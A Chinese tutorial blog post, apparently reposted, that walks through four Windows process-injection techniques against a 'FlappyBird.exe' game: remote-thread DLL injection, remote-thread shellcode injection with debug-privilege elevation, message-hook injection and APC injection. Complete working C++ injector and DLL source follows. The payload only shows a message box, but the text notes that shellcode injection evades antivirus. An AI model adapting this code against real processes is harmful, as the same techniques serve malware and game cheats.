Windows PC端动态注入(远程线程、消息钩子、APC)
说明:实现注入进程“FlappyBird.exe”,实现弹窗。完整代码在文末。
文章目录
远程线程注入
注入DLL
首先需要一个事先准备好的DLL文件testDLL.dll,用vs2019创建一个DLL工程,在程序入口调用MessageBoxA()。
远程线程DLL注入的基本原理是利用Windows提供的API函数**CreateRemoteThread()**,实现在另外一个进程中注入一个线程,后续只要在线程体中执行加载testDLL.dll的操作,目标进程就会执行testDLL.dll中的代码了。
一个比较关键的问题是创建的远程线程是在目标进程中执行,无法调用本地函数,因此要利用系统API实现加载dll文件的操作。Win32程序在运行时都会加载kernel32.dll,而Windows默认同一个系统中dll的文件加载位置是固定的,因此kernel32.dll中的导出函数在任何进程的地址空间中的位置是固定的。动态加载dll文件需要系统API **LoadLibraryA()**,这个函数正好是kernel32.dll的导出函数。因此我们只需要在注射器程序中获取LoadLibraryA()的地址,令创建的远程线程执行LoadLibraryA(),传入参数testDLL.dll的路径,即可实现远程线程DLL注入。
具体实现步骤及部分源码如下(所有完整代码见文末):
1、根据进程名(“FlappyBird.exe”)查找进程ID
自己实现函数FindProcess(),入口参数:进程名、进程ID(出参);步骤如下:
调用CreateToolhelp32Snapshot()获取进程快照;传入参数Th32CS_SNAPPROCESS用于指定“在快照中包含系统中所有的进程”
调用**Process32First()、Process32Next()**遍历进程信息,对进程名进行字符串比较直至与目标进程名相等。
//由进程名获取进程ID
bool FindProcess(const wchar_t* processName, DWORD& dwProcess) {
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(PROCESSENTRY32);
//获取进程快照
HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hProcessSnap == INVALID_HANDLE_VALUE) {
return false;
}
if (Process32First(hProcessSnap, &pe32)) {
do {
if (wcscmp(pe32.szExeFile, processName) == 0) {
dwProcess = pe32.th32ProcessID;
break;
}
} while (Process32Next(hProcessSnap, &pe32));
}
CloseHandle(hProcessSnap);
if(dwProcess == 0) {
return false;
}
return true;
}
2、调用OpenProcess()获取进程句柄,传入参数dwProcess(进程ID);调用VirtualAllocEx()在目标进程中为testDLL.dll的路径(字符串)分配内存空间(用于之后作为LoadLibraryA的参数);调用**WriteProcessMemory()**将testDLL.dll的路径写入内存。
调用LoadLibrary()加载动态链接库“kernel32.dll”,调用GetProcAddress()获取“LoadLibraryA”的地址。
调用CreateRemoteThread()创建远程线程,传入参数LoadLibraryA()地址和存放testDLL.dll路径的内存地址。等待线程结束关闭句柄,释放内存空间。
//DLL远程线程注入
void CreateRemoteThread_Inject(){
DWORD dwProcess = 0;
char myDLL[] = "C:\\testDLL.dll";
//查找进程FlappyBird.exe
if(FindProcess(L"FlappyBird.exe", dwProcess)){
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcess); //打开进程
LPVOID allocatedMem = VirtualAllocEx(hProcess, NULL, sizeof(myDLL), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); //在进程中分配内存
WriteProcessMemory(hProcess, allocatedMem, myDLL, sizeof(myDLL), NULL); //写入DLL路径
HMODULE hModule = LoadLibrary(L"kernel32.dll"); //获取kernel32.dll模块句柄
//获取LoadLibraryA函数地址
LPTHREAD_START_ROUTINE pfnStarAddress = (LPTHREAD_START_ROUTINE)GetProcAddress(hModule, "LoadLibraryA");
if(pfnStarAddress == NULL){
cout << "GetProcAddress failed" << endl;
return;
}
HANDLE hRemoteThread = CreateRemoteThread(hProcess, NULL, NULL, pfnStarAddress, allocatedMem, NULL, NULL); //创建远程线程
if(hRemoteThread == NULL){
cout << "CreateRemoteThread failed" << endl;
return;
}
WaitForSingleObject(hRemoteThread, INFINITE); //等待远程线程结束
CloseHandle(hRemoteThread);
VirtualFreeEx(hProcess, allocatedMem, 0, MEM_FREE);
}
return;
}
注入Shellcode
DLL注入实现虽然简单,但是会在目标进程加载一个模块,已经能够被多数杀软主动拦截;我们用**CreateRemoteThread()**函数实现DLL远程线程注入,也可以自己编写Shellcode实现注入,相对DLL来说隐蔽性更强。
注入shellcode的难点是,由于注入的代码要“写入”其他进程空间当中,因此不能使用任何全局变量、不能调用本地定义的函数、不能调用一些库函数等等。当然,shellcode使用栈空间的局部变量、使用系统API(kernel32.dll)都是没有问题的,如果使用其他dll库的函数可以用kernel32.dll导出函数**LoadLibraryA()加载对应的dll后,再使用GetProcAddress()**获取函数地址。
远程线程注入shellcode的原理与注入DLL原理类似,都是使用**OpenProcess + VirtualAllocEx + WriteProcessMemory + CreateRemoteThread **的框架,关键在于shellcode的编写,以在目标进程执行MessageBox()为例,具体步骤和部分代码如下:
1、定义线程参数结构体,用于接收API(LoadLibraryA()和GetProcAddress()的地址)和参数(加载的dll名、调用的API、API的参数);定义函数指针;
//该结构体用于接收API和4个字符串
typedef struct _THREAD_PARAM {
FARPROC pFunc[2];
char szBuf[4][128];
} THREAD_PARAM, *PTHREAD_PARAM;
typedef HMODULE (WINAPI *PFLOADLIBRARYA)
(
LPCSTR lpLibFileName
); //定义LoadLibraryA函数指针
typedef FARPROC (WINAPI *PFGETPROCADDRESS)
(
HMODULE hModule,
LPCSTR lpProcName
); //定义GetProcAddress函数指针
typedef int (WINAPI *PFMESSAGEBOXA)
(
HWND hWnd,
LPCSTR lpText,
LPCSTR lpCaption,
UINT uType
); //定义MessageBoxA函数指针
2、编写shellcode,以上述结构体类型作为参数,依次调用API,实现调用MessageBoxA();
//线程函数
//未直接调用相关API和未直接定义使用字符串,而通过THREAD_PARAM结构体以线程参数的形式传递使用
DWORD WINAPI ThreadProc(LPVOID lpParam)
{
PTHREAD_PARAM pParam = (PTHREAD_PARAM)lpParam;
HMODULE hMod = NULL;
FARPROC pFunc = NULL;
hMod = ((PFLOADLIBRARYA)pParam->pFunc[0])(pParam->szBuf[0]); //调用LoadLibraryA函数
if (hMod == NULL)
{
return 1;
}
pFunc = ((PFGETPROCADDRESS)pParam->pFunc[1])(hMod, pParam->szBuf[1]); //获取MessageBoxA函数地址
if (pFunc == NULL)
{
return 1;
}
((PFMESSAGEBOXA)pFunc)(NULL, pParam->szBuf[2], pParam->szBuf[3], 0); //调用MessageBoxA函数
return 0;
}
3、实现提权函数EnableDebugPrivilege()
bool EnableDebugPrivilege() {
HANDLE hToken;
TOKEN_PRIVILEGES tp;
//打开进程令牌
if(!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
cout<<"OpenProcessToken failed"<<endl;
return false;
}
//获取LUID
if(!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid)) {
cout<<"LookupPrivilegeValue failed"<<endl;
return false ;
}
//设置权限
tp.PrivilegeCount = 1; //只设置一个权限
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; //设置权限为启用,如果为SE_PRIVILEGE_REMOVED则为禁用
//修改进程令牌,提升权限,使得能够访问受保护的进程,如系统进程,其他用户进程等
if(!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL)) {
cout<<"AdjustTokenPrivileges failed"<<endl;
return false;
}
return true;
}
4、实现注入
准备好参数,使用CreatRemoteThread()框架实现注入,注意为代码申请的内存必须设置为可读可写可执行,注意将参数和shellcode都写入目标进程。
void CreateRemoteThread_shellcode()
{
EnableDebugPrivilege(); //提升权限
DWORD dwProcess = 0;
//查找进程FlappyBird.exe
if(FindProcess(L"FlappyBird.exe", dwProcess)){
HMODULE hMod = NULL;
THREAD_PARAM param = {0,}; //定义线程结构体变量
HANDLE hProcess = NULL;
HANDLE hThread = NULL;
LPVOID pRemoteBuf[2] = {0,};
DWORD dwSize = 0;
hMod = GetModuleHandleA("kernel32.dll");
//设置THREAD_PARAM结构体
//加载到所有进程的kernel32.dll的地址都相同,因此从本进程获取的API与在目标进程中获取的API地址是一样的
param.pFunc[0] = GetProcAddress(hMod, "LoadLibraryA");
param.pFunc[1] = GetProcAddress(hMod, "GetProcAddress");
strcpy_s(param.szBuf[0], "user32.dll");
strcpy_s(param.szBuf[1], "MessageBoxA");
strcpy_s(param.szBuf[2], "shellcode Success");
strcpy_s(param.szBuf[3], "inject");
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcess);
if (hProcess == NULL)
{
cout<<"OpenProcess failed"<<endl;
return;
}
//分配内存
dwSize = sizeof(THREAD_PARAM);
pRemoteBuf[0] = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
if (pRemoteBuf[0] == NULL)
{
cout<<"VirtualAllocEx failed"<<endl;
return;
}
//将线程参数写入目标进程
if (!WriteProcessMemory(hProcess, pRemoteBuf[0], (LPVOID)¶m, dwSize, NULL))
{
cout<<"WriteProcessMemory failed"<<endl;
return;
}
dwSize = (DWORD)CreateRemoteThread_shellcode - (DWORD)ThreadProc; //计算shellcode大小
pRemoteBuf[1] = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (pRemoteBuf[1] == NULL)
{
cout<<"VirtualAllocEx failed"<<endl;
return;
}
//将shellcode写入目标进程
if (!WriteProcessMemory(hProcess, pRemoteBuf[1], (LPVOID)ThreadProc, dwSize, NULL))
{
cout<<"WriteProcessMemory failed"<<endl;
return;
}
//创建远程线程
hThread = CreateRemoteThread(
hProcess,
NULL,
0,
(LPTHREAD_START_ROUTINE)pRemoteBuf[1], //线程函数地址
pRemoteBuf[0], //线程参数地址
0, NULL
);
if (hThread == NULL)
{
cout<<"CreateRemoteThread failed"<<endl;
return;
}
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
CloseHandle(hProcess);
}
}
消息钩子注入DLL
消息钩子注入原理是利用Windows提供的**SetWindowsHookEx()**函数,它可以拦截进程的消息到指定的DLL中导出的函数,目标进程就会自动加载我们指定的DLL,利用这个特性可以实现消息钩子注入。
具体实现步骤和部分源码如下:
1、编写一个testDLL.dll用于Hook,在其中显式导出一个函数**NextHook()**;
//导出函数
extern "C" __declspec(dllexport) int NextHook(int code, WPARAM wParam, LPARAM lParam){
return CallNextHookEx(NULL, code, wParam, lParam);
}
2、在注射器中首先调用FindWindow()查找窗口“FlappyBird”获取窗口句柄;调用GetWindowThreadProcessId()获取进程ID和线程ID;调用LoadLibraryEx()加载testDLL.dll到自身进程,传入参数DONT_RESOLVE_DLL_REFERENCES用于指定“不对DLL初始化”;调用**GetProcAddress()获取钩子函数NextHook()**的地址;
int SetWindowHookEx_inject() {
HWND hwnd = FindWindow(NULL, L"FlappyBird"); //查找窗口
if (hwnd == NULL) {
cout << "FindWindow failed" << endl;
return 1;
}
DWORD pid = NULL;
DWORD tid = GetWindowThreadProcessId(hwnd, &pid); //获取进程ID
if (tid == NULL) {
cout << "GetWindow tid/pid failed" << endl;
return 1;
}
HMODULE dll = LoadLibraryEx(L"C:\\testDLL.dll", NULL, DONT_RESOLVE_DLL_REFERENCES); //加载DLL
if (dll == NULL) {
cout << "LoadLibraryEx DLL failed" << endl;
return 1;
}
HOOKPROC addr = (HOOKPROC)GetProcAddress(dll, "NextHook"); //获取钩子函数地址
if (addr == NULL) {
cout << "GetProcAddress failed" << endl;
return 1;
}
HHOOK handle = SetWindowsHookEx(WH_GETMESSAGE, addr, dll, tid); //设置钩子
if (handle == NULL) {
cout << "SetWindowsHookEx failed" << endl;
return EXIT_FAILURE;
}
PostThreadMessage(tid, WM_NULL, 0, 0); //发送消息,触发钩子
cout<<"SetWindowsHookEx_inject success"<<endl;
cout<<"Press any key to unhook"<<endl;
getchar();
BOOL unhook = UnhookWindowsHookEx(handle); //卸载钩子
if (unhook == NULL) {
cout << "UnhookWindowsHookEx failed" << endl;
return EXIT_FAILURE;
}
return 0;
}
APC注入DLL
APC全称Asynchronous Procedure Call,叫异步过程调用,是指函数在特定现场中被异步执行,在操作系统中,APC是一种并发机制。
APC注入实现原理核心是利用QueueUserApc()这个API添加制定的回调函数到目标线程的APC队列中,系统会产生一个软中断,在线程下一次被调度/唤醒的时候,就会执行回调函数,因此我们只需要令LoadLibraryW作为回调函数,并且传入参数dll路径,即可实现注入。
当然APC注入是有条件的,用户态下的APC请求想要执行,必须等待线程进入“Alertable”状态,而只有当线程调用特定函数(SleepEx, SignalObjectAndWait, MsgWaitForMultipleObjectsEx, WaitForMultipleObjectsEx或WaitForSingleObjectEx)时,才会进入Alertable状态,所以为了应对这种苛刻的条件,提高注入成功的机率同时缩短等待时间,我们需要遍历进程的所有线程,并对每一个线程进行APC注入。
具体实现步骤和部分源码如下:
1、根据进程名(“FlappyBird.exe”)查找进程ID并且获取所有的线程ID,获取线程ID的方法与查找进程ID类似;
//根据进程名获取进程ID及其所有线程ID
bool FindProcess2(const wchar_t* processName, DWORD& dwProcess, vector<DWORD>& dwThreads) {
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(PROCESSENTRY32);
HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); //创建进程快照
if (hProcessSnap == INVALID_HANDLE_VALUE) {
cout << "CreateToolhelp32Snapshot failed" << endl;
return false;
}
if (!Process32First(hProcessSnap, &pe32)) { //获取第一个进程信息
cout << "Process32First failed" << endl;
CloseHandle(hProcessSnap);
return false;
}
do {
if (wcscmp(pe32.szExeFile, processName) == 0) {
dwProcess = pe32.th32ProcessID;
break;
}
} while (Process32Next(hProcessSnap, &pe32));
CloseHandle(hProcessSnap);
if (dwProcess == NULL) {
cout << "FindProcess failed" << endl;
return false;
}
THREADENTRY32 te32;
te32.dwSize = sizeof(THREADENTRY32);
HANDLE hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); //创建线程快照
if (hThreadSnap == INVALID_HANDLE_VALUE) {
cout << "CreateToolhelp32Snapshot failed" << endl;
return false;
}
if (!Thread32First(hThreadSnap, &te32)) {
cout << "Thread32First failed" << endl;
CloseHandle(hThreadSnap);
return false;
}
do {
if (te32.th32OwnerProcessID == dwProcess) {
dwThreads.push_back(te32.th32ThreadID); //获取目标进程的所有线程ID
}
} while (Thread32Next(hThreadSnap, &te32));
CloseHandle(hThreadSnap);
if (dwThreads.size() == 0) {
cout << "FindThread failed" << endl;
return false;
}
return true;
}
2、调用OpenProcess()获取进程句柄,调用VirtuealAllocEx()为参数dll路径远程申请内存,调用WriteProcessMemory()写入dll路径;遍历所有线程,插入APC;具体插入步骤为:调用OpenThread()获取线程句柄,调用GetProcAddress()和GetModuleHandle()获取LoadLibraryW()地址,调用QueueUserAPC()实现插入APC。
void APC_Inject(){
DWORD pid;
vector<DWORD> tids; //需要获取进程所有的线程ID
if (FindProcess2(L"FlappyBird.exe", pid, tids)) {
HANDLE hProcess = OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_OPERATION, FALSE, pid);
if (hProcess == NULL) {
cout << "OpenProcess failed" << endl;
return;
}
auto p = VirtualAllocEx(hProcess, NULL, 1<<12, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); //在目标进程中申请内存
wchar_t buffer[] = L"C:\\testDLL.dll";
WriteProcessMemory(hProcess, p, buffer, sizeof(buffer), NULL); //将DLL路径写入目标进程中
for(const auto& tid: tids){
HANDLE hThread = ::OpenThread(THREAD_SET_CONTEXT, FALSE, tid);
if (hThread == NULL) {
cout << "OpenThread failed" << endl;
return;
}
QueueUserAPC((PAPCFUNC)GetProcAddress(GetModuleHandle(L"kernel32"),"LoadLibraryW"),hThread,(ULONG_PTR)p); //将APC注入到目标进程中
}
VirtualFreeEx(hProcess, p, 0, MEM_RELEASE | MEM_DECOMMIT);
}
}
完整代码
inject.cpp
#include <iostream>
#include <vector>
#include <Windows.h>
#include <TlHelp32.h>
#include <Psapi.h>
#include <string>
#include <tchar.h>
using namespace std;
//由进程名获取进程ID
bool FindProcess(const wchar_t* processName, DWORD& dwProcess) {
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(PROCESSENTRY32);
//获取进程快照
HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hProcessSnap == INVALID_HANDLE_VALUE) {
return false;
}
if (Process32First(hProcessSnap, &pe32)) {
do {
if (wcscmp(pe32.szExeFile, processName) == 0) {
dwProcess = pe32.th32ProcessID;
break;
}
} while (Process32Next(hProcessSnap, &pe32));
}
CloseHandle(hProcessSnap);
if(dwProcess == 0) {
return false;
}
return true;
}
//DLL远程线程注入
void CreateRemoteThread_Inject(){
DWORD dwProcess = 0;
char myDLL[] = "C:\\testDLL.dll";
//查找进程FlappyBird.exe
if(FindProcess(L"FlappyBird.exe", dwProcess)){
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcess); //打开进程
LPVOID allocatedMem = VirtualAllocEx(hProcess, NULL, sizeof(myDLL), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); //在进程中分配内存
WriteProcessMemory(hProcess, allocatedMem, myDLL, sizeof(myDLL), NULL); //写入DLL路径
HMODULE hModule = LoadLibrary(L"kernel32.dll"); //获取kernel32.dll模块句柄
//获取LoadLibraryA函数地址
LPTHREAD_START_ROUTINE pfnStarAddress = (LPTHREAD_START_ROUTINE)GetProcAddress(hModule, "LoadLibraryA");
if(pfnStarAddress == NULL){
cout << "GetProcAddress failed" << endl;
return;
}
HANDLE hRemoteThread = CreateRemoteThread(hProcess, NULL, NULL, pfnStarAddress, allocatedMem, NULL, NULL); //创建远程线程
if(hRemoteThread == NULL){
cout << "CreateRemoteThread failed" << endl;
return;
}
WaitForSingleObject(hRemoteThread, INFINITE); //等待远程线程结束
CloseHandle(hRemoteThread);
VirtualFreeEx(hProcess, allocatedMem, 0, MEM_FREE);
}
return;
}
//***********************************************Shellcode远程线程注入***********************************************
bool EnableDebugPrivilege() {
HANDLE hToken;
TOKEN_PRIVILEGES tp;
//打开进程令牌
if(!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
cout<<"OpenProcessToken failed"<<endl;
return false;
}
//获取LUID
if(!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid)) {
cout<<"LookupPrivilegeValue failed"<<endl;
return false ;
}
//设置权限
tp.PrivilegeCount = 1; //只设置一个权限
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; //设置权限为启用,如果为SE_PRIVILEGE_REMOVED则为禁用
//修改进程令牌,提升权限,使得能够访问受保护的进程,如系统进程,其他用户进程等
if(!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL)) {
cout<<"AdjustTokenPrivileges failed"<<endl;
return false;
}
return true;
}
//该结构体用于接收API和4个字符串
typedef struct _THREAD_PARAM {
FARPROC pFunc[2];
char szBuf[4][128];
} THREAD_PARAM, *PTHREAD_PARAM;
typedef HMODULE (WINAPI *PFLOADLIBRARYA)
(
LPCSTR lpLibFileName
); //定义LoadLibraryA函数指针
typedef FARPROC (WINAPI *PFGETPROCADDRESS)
(
HMODULE hModule,
LPCSTR lpProcName
); //定义GetProcAddress函数指针
typedef int (WINAPI *PFMESSAGEBOXA)
(
HWND hWnd,
LPCSTR lpText,
LPCSTR lpCaption,
UINT uType
); //定义MessageBoxA函数指针
//线程函数
//未直接调用相关API和未直接定义使用字符串,而通过THREAD_PARAM结构体以线程参数的形式传递使用
DWORD WINAPI ThreadProc(LPVOID lpParam)
{
PTHREAD_PARAM pParam = (PTHREAD_PARAM)lpParam;
HMODULE hMod = NULL;
FARPROC pFunc = NULL;
hMod = ((PFLOADLIBRARYA)pParam->pFunc[0])(pParam->szBuf[0]); //调用LoadLibraryA函数
if (hMod == NULL)
{
return 1;
}
pFunc = ((PFGETPROCADDRESS)pParam->pFunc[1])(hMod, pParam->szBuf[1]); //获取MessageBoxA函数地址
if (pFunc == NULL)
{
return 1;
}
((PFMESSAGEBOXA)pFunc)(NULL, pParam->szBuf[2], pParam->szBuf[3], 0); //调用MessageBoxA函数
return 0;
}
//shellcode 注入
void CreateRemoteThread_shellcode()
{
EnableDebugPrivilege(); //提升权限
DWORD dwProcess = 0;
//查找进程FlappyBird.exe
if(FindProcess(L"FlappyBird.exe", dwProcess)){
HMODULE hMod = NULL;
THREAD_PARAM param = {0,}; //定义线程结构体变量
HANDLE hProcess = NULL;
HANDLE hThread = NULL;
LPVOID pRemoteBuf[2] = {0,};
DWORD dwSize = 0;
hMod = GetModuleHandleA("kernel32.dll");
//设置THREAD_PARAM结构体
//加载到所有进程的kernel32.dll的地址都相同,因此从本进程获取的API与在目标进程中获取的API地址是一样的
param.pFunc[0] = GetProcAddress(hMod, "LoadLibraryA");
param.pFunc[1] = GetProcAddress(hMod, "GetProcAddress");
strcpy_s(param.szBuf[0], "user32.dll");
strcpy_s(param.szBuf[1], "MessageBoxA");
strcpy_s(param.szBuf[2], "shellcode Success");
strcpy_s(param.szBuf[3], "inject");
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcess);
if (hProcess == NULL)
{
cout<<"OpenProcess failed"<<endl;
return;
}
//分配内存
dwSize = sizeof(THREAD_PARAM);
pRemoteBuf[0] = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
if (pRemoteBuf[0] == NULL)
{
cout<<"VirtualAllocEx failed"<<endl;
return;
}
//将线程参数写入目标进程
if (!WriteProcessMemory(hProcess, pRemoteBuf[0], (LPVOID)¶m, dwSize, NULL))
{
cout<<"WriteProcessMemory failed"<<endl;
return;
}
dwSize = (DWORD)CreateRemoteThread_shellcode - (DWORD)ThreadProc; //计算shellcode大小
pRemoteBuf[1] = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (pRemoteBuf[1] == NULL)
{
cout<<"VirtualAllocEx failed"<<endl;
return;
}
//将shellcode写入目标进程
if (!WriteProcessMemory(hProcess, pRemoteBuf[1], (LPVOID)ThreadProc, dwSize, NULL))
{
cout<<"WriteProcessMemory failed"<<endl;
return;
}
//创建远程线程
hThread = CreateRemoteThread(
hProcess,
NULL,
0,
(LPTHREAD_START_ROUTINE)pRemoteBuf[1], //线程函数地址
pRemoteBuf[0], //线程参数地址
0, NULL
);
if (hThread == NULL)
{
cout<<"CreateRemoteThread failed"<<endl;
return;
}
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
CloseHandle(hProcess);
}
}
//***********************************************消息钩子注入***********************************************
int SetWindowHookEx_inject() {
HWND hwnd = FindWindow(NULL, L"FlappyBird"); //查找窗口
if (hwnd == NULL) {
cout << "FindWindow failed" << endl;
return 1;
}
DWORD pid = NULL;
DWORD tid = GetWindowThreadProcessId(hwnd, &pid); //获取进程ID
if (tid == NULL) {
cout << "GetWindow tid/pid failed" << endl;
return 1;
}
HMODULE dll = LoadLibraryEx(L"C:\\testDLL.dll", NULL, DONT_RESOLVE_DLL_REFERENCES); //加载DLL
if (dll == NULL) {
cout << "LoadLibraryEx DLL failed" << endl;
return 1;
}
HOOKPROC addr = (HOOKPROC)GetProcAddress(dll, "NextHook"); //获取钩子函数地址
if (addr == NULL) {
cout << "GetProcAddress failed" << endl;
return 1;
}
HHOOK handle = SetWindowsHookEx(WH_GETMESSAGE, addr, dll, tid); //设置钩子
if (handle == NULL) {
cout << "SetWindowsHookEx failed" << endl;
return EXIT_FAILURE;
}
PostThreadMessage(tid, WM_NULL, 0, 0); //发送消息,触发钩子
cout<<"SetWindowsHookEx_inject success"<<endl;
cout<<"Press any key to unhook"<<endl;
getchar();
BOOL unhook = UnhookWindowsHookEx(handle); //卸载钩子
if (unhook == NULL) {
cout << "UnhookWindowsHookEx failed" << endl;
return EXIT_FAILURE;
}
return 0;
}
//***********************************************APC注入***********************************************
//根据进程名获取进程ID及其所有线程ID
bool FindProcess2(const wchar_t* processName, DWORD& dwProcess, vector<DWORD>& dwThreads) {
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(PROCESSENTRY32);
HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); //创建进程快照
if (hProcessSnap == INVALID_HANDLE_VALUE) {
cout << "CreateToolhelp32Snapshot failed" << endl;
return false;
}
if (!Process32First(hProcessSnap, &pe32)) { //获取第一个进程信息
cout << "Process32First failed" << endl;
CloseHandle(hProcessSnap);
return false;
}
do {
if (wcscmp(pe32.szExeFile, processName) == 0) {
dwProcess = pe32.th32ProcessID;
break;
}
} while (Process32Next(hProcessSnap, &pe32));
CloseHandle(hProcessSnap);
if (dwProcess == NULL) {
cout << "FindProcess failed" << endl;
return false;
}
THREADENTRY32 te32;
te32.dwSize = sizeof(THREADENTRY32);
HANDLE hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); //创建线程快照
if (hThreadSnap == INVALID_HANDLE_VALUE) {
cout << "CreateToolhelp32Snapshot failed" << endl;
return false;
}
if (!Thread32First(hThreadSnap, &te32)) {
cout << "Thread32First failed" << endl;
CloseHandle(hThreadSnap);
return false;
}
do {
if (te32.th32OwnerProcessID == dwProcess) {
dwThreads.push_back(te32.th32ThreadID); //获取目标进程的所有线程ID
}
} while (Thread32Next(hThreadSnap, &te32));
CloseHandle(hThreadSnap);
if (dwThreads.size() == 0) {
cout << "FindThread failed" << endl;
return false;
}
return true;
}
void APC_Inject(){
DWORD pid;
vector<DWORD> tids; //需要获取进程所有的线程ID
if (FindProcess2(L"FlappyBird.exe", pid, tids)) {
HANDLE hProcess = OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_OPERATION, FALSE, pid);
if (hProcess == NULL) {
cout << "OpenProcess failed" << endl;
return;
}
auto p = VirtualAllocEx(hProcess, NULL, 1<<12, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); //在目标进程中申请内存
wchar_t buffer[] = L"C:\\testDLL.dll";
WriteProcessMemory(hProcess, p, buffer, sizeof(buffer), NULL); //将DLL路径写入目标进程中
for(const auto& tid: tids){
HANDLE hThread = ::OpenThread(THREAD_SET_CONTEXT, FALSE, tid);
if (hThread == NULL) {
cout << "OpenThread failed" << endl;
return;
}
QueueUserAPC((PAPCFUNC)GetProcAddress(GetModuleHandle(L"kernel32"),"LoadLibraryW"),hThread,(ULONG_PTR)p); //将APC注入到目标进程中
}
VirtualFreeEx(hProcess, p, 0, MEM_RELEASE | MEM_DECOMMIT);
}
}
int main()
{
printf("Inject\n");
CreateRemoteThread_Inject();
//CreateRemoteThread_shellcode();
//SetWindowHookEx_inject();
//APC_Inject();
printf("执行结束\n");
getchar();
return 0;
}
dllmain.cpp
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <Windows.h>
//在DLL入口点中调用MessageBoxA
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
MessageBox(NULL, L"Inject", L"注射成功", MB_OK);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
//导出函数
extern "C" __declspec(dllexport) int NextHook(int code, WPARAM wParam, LPARAM lParam){
return CallNextHookEx(NULL, code, wParam, lParam);
}
版权归原作者 晚安靴子 所有, 如有侵权,请联系我们删除。